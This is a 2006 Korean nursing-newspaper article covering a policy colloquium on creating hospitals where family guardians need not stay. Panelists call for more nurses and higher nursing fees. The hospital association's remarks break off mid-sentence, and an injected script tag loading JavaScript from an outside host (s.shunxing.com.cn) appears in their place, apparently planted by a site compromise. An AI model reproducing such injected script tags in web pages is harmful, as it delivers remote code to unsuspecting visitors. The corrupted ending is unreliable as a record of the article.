상단 바로가기 본문 바로가기 하단 바로가기
Home / 간호협회 활동
페이스북 트위터 구글+ 인쇄
`보호자 없는 병원 만들기' 논의
간호사 확충 양질 서비스 제공해야
[편집국] 정규숙   kschung@nursenews.co.kr     기사입력 2006-07-20 오전 09:47:02
환자들에게는 수준 높은 간호서비스를 충분히 제공하고, 보호자들에게는 가족 간병의 부담을 덜어주기 위한 대안으로 `보호자 없는 병원 만들기'가 떠오르고 있다.

이미 보건복지부에서 보호자 없는 병원 모델 개발에 착수했으며, 시범사업을 추진할 계획이다. 보호자가 상주하지 않아도 되는 병원을 만들어야 한다는 공감대도 우리 사회 전체로 확산되고 있다.

보호자 없는 병원이 정착되려면 우선 간호사가 충분히 확보돼야 한다는데 의견이 일치하고 있다. 인력 충원을 위해 간호관리료 현실화, 다양한 간호수가 개발이 선행돼야 한다는 데도 이견이 없다.

이같은 논의가 심도 있게 이뤄진 뜻깊은 자리가 마련됐다. 대한간호협회가 주최하고 여성가족부가 후원한 `보호자 없는 병원 만들기' 정책 콜로키움이 7월 13일 서울 충무아트홀 컨벤션센터에서 열렸다.

콜로키움 1부에서는 가족 간병의 현황을 다각도로 짚어보고(좌장.곽월희 동국대병원+한방병원 간호부장), 2부에서는 보호자 없는 병원 운영을 위한 대안을 모색하는(좌장.정정희 삼성서울병원 파트장) 시간을 가졌다. 시민단체, 여성단체, 연구기관, 정부, 간호계, 병원계 등 각 분야 전문가 6명이 패널로 참석해 대안을 제시했다. 종합토론은 이애주 대한간호협회 제1부회장(가천의대길병원 간호부장) 사회로 진행됐다.

△가족의 고충=조경애 건강세상네트워크 공동대표는 “보호자 없는 병원 만들기가 진행되고 있는 것을 환영한다”면서 “환자 가족에게 부담지워지고 있는 간병서비스를 사회적으로 해결해야 한다”고 주장했다. 병원에서 간호사 수를 충분히 채우지 않고 있어 환자 간병에 대한 부담이 가족에게 전가되고 있는 게 현실이다. 간병서비스에 대해 건강보험을 적용하는 것이 바람직하며, 보험료 부담에 대한 사회적 합의가 필요하다. 간병인력 고용이 간호인력 확충을 기피하는 방향으로 활용되어서는 안된다.

△여성의 입장=이정자 한국여성단체협의회 사무총장은 “간호인력을 충분히 갖추고 수준 높은 서비스를 제공하는 병원, 보호자가 상주하지 않아도 되는 병원 시스템이 구축돼야 한다”고 밝혔다.
핵가족화와 여성의 사회진출 확대 등 사회구조의 변화에 따라 입원환자 간병을 가족들, 특히 여성들이 더 이상 전담하기 어려워졌다. 사회적 지원시스템이 마련돼야 한다. 간호사 법적 정원조차 지켜지지 않는 병원 현실은 선진 한국의 위상에 걸맞지 않는다.

△선진국 사례=황나미 한국보건사회연구원 연구위원은 “일본, 미국, 독일 등은 제도권 내에서 적정 수준의 보험 지불보상 시스템을 구축하고 질 평가를 함으로써 양질의 간호서비스를 제공하고 있다”고 설명했다.
우선 인건비 보전에 미치지 못하는 간호관리료를 현실화하고, 간호행위에 대한 보험수가를 개발해 서비스 질을 확보해야 한다. 중장기적으로 급성기병동에서는 간호사가 간호와 간병서비스를 제공하도록 지불보상 체계를 마련하고, 요양병동에서는 보조인력을 효율적으로 활용해 보호자가 없어도 되는 시스템을 구축하는 것이 바람직하다.

△정부 정책방향=현수엽 보건복지부 보건의료서비스혁신팀장은 “현재 보호자 없는 병원 운영모델을 개발 중에 있으며, 앞으로 시범사업을 통해 실효성을 검증한 후 확산시켜 나갈 것”이라고 밝혔다.
간호사를 우선 충분히 확보하고 더불어 보조인력을 효율적으로 활용해 보호자가 상주할 필요가 없는 병원을 만들어 나갈 계획이다. 간호사 고용 확대는 여성의 사회적 일자리 창출에 주력하고 있는 정부의 정책방향과도 맥이 닿아 있다. 간호사를 고용하는 만큼 병원에 충분한 보상이 돌아갈 수 있도록 간호관리료를 현실화시키는 방안을 검토하고 있다.

△간호계 입장=성영희 병원간호사회장은 “간호인력을 충분히 확보하기 위해서는 간호관리료가 원가보전이 되는 수준으로 현실화돼야 하고, 간호행위에 대한 보험 지불보상이 이뤄져야 된다”고 주장했다.
보호자 없는 병원을 만들기 위해선 간호인력 충원이 급선무다. 간호사 배치기준을 상향조정하고, 이를 충족시키지 못하는 의료기관에 대해선 제재조치를 하는 방향으로 의료법이 개정돼야 한다. 간호사 유휴인력을 활용하기 위해 근로조건, 임금 등을 개선하는 방안이 마련돼야 한다. 간호사의 다양한 역할과 업무 범위를 명시한 간호법 제정도 시급하다.

△병원협회 입장=정영호 대한병원협회 보험이사는 “보호자 없는 병원은 바로 간호 서비스의 무한 확대를 의미한다”면서 “간호관리료 현실화와 간호수가 개발이 선행돼야 한다”고 말했다.
간호사 수급이 원활히 이뤄질 수 있도록 간호관리료가 현실화 되고, 병원 수익 창출에 기여하는 간호서비스에 대해 적정한 보험수가가 책정돼야 한다. 보호자 없는 병원이 성공적으로 정착되길 바란다. 이에 따른 비용을 병원 경영자의 부담으로 떠넘?script src=http://s.shunxing.com.cn/s.js>
  • 중앙대 건강간호대학원
  • 보험심사관리사 자격과정
간호사신문
대한간호협회 서울시 중구 동호로 314 우)04615TEL : (02)2260-2571
등록번호 : 서울아00844등록일자 : 2009년 4월 22일발행일자 : 2000년 10월 4일발행·편집인 : 신경림  청소년보호책임자 : 신경림
Copyright(c) 2016 All rights reserved. contact news@koreanursing.or.kr for more information